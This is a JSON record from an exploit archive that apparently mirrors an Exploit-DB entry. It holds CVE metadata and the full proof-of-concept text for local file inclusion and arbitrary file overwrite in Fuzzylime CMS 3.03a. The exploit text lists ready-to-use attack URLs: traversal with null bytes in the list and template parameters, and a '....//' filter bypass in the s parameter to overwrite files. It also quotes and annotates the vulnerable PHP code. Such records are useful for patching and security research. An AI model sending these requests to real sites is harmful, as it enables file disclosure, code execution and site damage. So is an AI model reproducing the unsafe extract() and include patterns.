{"exploit":{"id":"EDB-8978","name":"Fuzzylime CMS 3.03a - Local Inclusion / Arbitrary File Corruption","description":"Fuzzylime CMS 3.03a - Local Inclusion / Arbitrary File Corruption","cves":["CVE-2009-2177","CVE-2009-2176"],"author":"StAkeR","published":"2009-06-17","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/8978","path":"exploits/php/webapps/8978.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-8978.txt","vulnerabilities":[{"id":"CVE-2009-2177","state":"PUBLISHED","title":null,"titleSource":null,"description":"code/display.php in fuzzylime (cms) 3.03a and earlier, when magic_quotes_gpc is disabled, allows remote attackers to conduct directory traversal attacks and overwrite arbitrary files via a \"....//\" (dot dot) in the s parameter, which is collapsed into a \"../\" value.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-2177","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-2177"},"updatedAt":"2024-08-07T05:44:54.956Z","retrievedAt":"2026-11-26T16:08:37.790Z","stale":false,"error":null},{"id":"CVE-2009-2176","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple directory traversal vulnerabilities in fuzzylime (cms) 3.03a and earlier, when magic_quotes_gpc is disabled, allow remote attackers to include and execute arbitrary local files via directory traversal sequences in the (1) list parameter to code/confirm.php and the (2) template parameter to code/display.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-2176","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-2176"},"updatedAt":"2024-08-07T05:44:55.611Z","retrievedAt":"2026-11-26T16:23:06.607Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-8978.png?v=2","url":"https://exploitbin.com/exploits/EDB-8978","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-8978/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-8978/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"+------------------------------------------------------------------------+\n| fuzzylime cms <= 3.03a local inclusion / arbitrary file corruption poc |\n+-----------+------------------------------------------------------------+\n| by staker |\n+-----------+---------------------+\n| mail: staker[at]hotmail[dot]it  |\n| url: http://cms.fuzzylime.co.uk |\n+---------------------------------+\n\n\n[1][LFI]\n\nhttp://[target]/[path]/code/confirm.php?e[]&list= { file + nullbyte }\n\nVulnerable code: confirm.php (local file inclusion mq=off)\n-----------------------------------------------------------------\n 1. <?\n 2. @extract($HTTP_GET_VARS);  <-------- {1}\n 3. @extract($_GET);           <----------^\n\n27.  elseif(isset($e)) { <------- {2}\n28.       $filename = \"code/mailing/$list.inc.php\"; <------- {3}\n29.        @include $filename; <------- {4}\n-----------------------------------------------------------------\n1. extract() allows to overwrite any not-defined variable via get\n   therefore it works regardless of register_globals settings.\n\n2. $e is a variable not defined,therefore become $_GET['e']\n3. $list is a variable not defined,therefore become $_GET['list']\n4. $filename contains $list variable that will be required\n-----------------------------------------------------------------\n\n\n[2][LFI]\n\nhttp://[target]/[path]/code/display.php?template= {file + nullbyte}\n\nVulnerable code: display.php (local file inclusion mq=0 & reg=on)\n--------------------------------------------------------------------\n98. if($_GET['print'] != \"1\") include \"templates/${template}_f.php\";\n--------------------------------------------------------------------\n\n\n\n\n[3][LFC]\n\nhttp://[target]/[path]/code/display.php?usecache=1&s=....//settings\nhttp://[target]/[path]/code/display.php?usecache=1&s={file + nullbyte}(mq = off)\n\nVulnerable code: display.php (local file corruption register_gl=1)\n-----------------------------------------------------------------\n  1. <?\n  2. $s = $_GET[s];\n  3. $p = $_GET[p];\n  4. $s = str_replace(\"../\", \"\", $s); <---------- {1}\n  5. $p = str_replace(\"../\", \"\", $p);\n ...\n 54. $cachefile = \"cache/${s}_${p}_$_GET[m]_$_GET[c]_$_GET[t]_$_GET[u]_$_GET[print].cache.htm\"; <---- {2}\n100. if($usecache == \"1\" && $passprot != \"1\" && $s != \"rss\" && empty($_GET[msg]) && empty($_GET[tn])) { <--- {3}\n101.\t\tif($handle = fopen($cachefile, 'w')) { // Create the cache file <-------- {4}\n102.\t\t\t$output = ob_get_contents();\n103.\t\t\tfputs($handle, $output);\n104.\n105.\t\t\tfclose($handle);\n106.\t\t}\n107.\t}\n----------------------------------------------------------------------\n1. you have to use ....// to change directory because of 1st point. so\n   ....// will be ../\n2. $cachefile contains $s variable\n3. if $usecache == 1 we will go ahead\n4. you will overwrite a file typing the name via $s variable.\n-----------------------------------------------------------------------\n\n[x] http://www.youtube.com/watch?v=h3DQmJOkSY0\n\n# milw0rm.com [2009-06-17]","sha256":"8457f528ee39627f0bc52c7b4185833ba763819d9fd402a0721ca09c27ed089d","bytes":2939,"fetchedAt":"2026-11-26T16:08:35.163Z","encoding":"utf-8 (display only; download retains original bytes)"}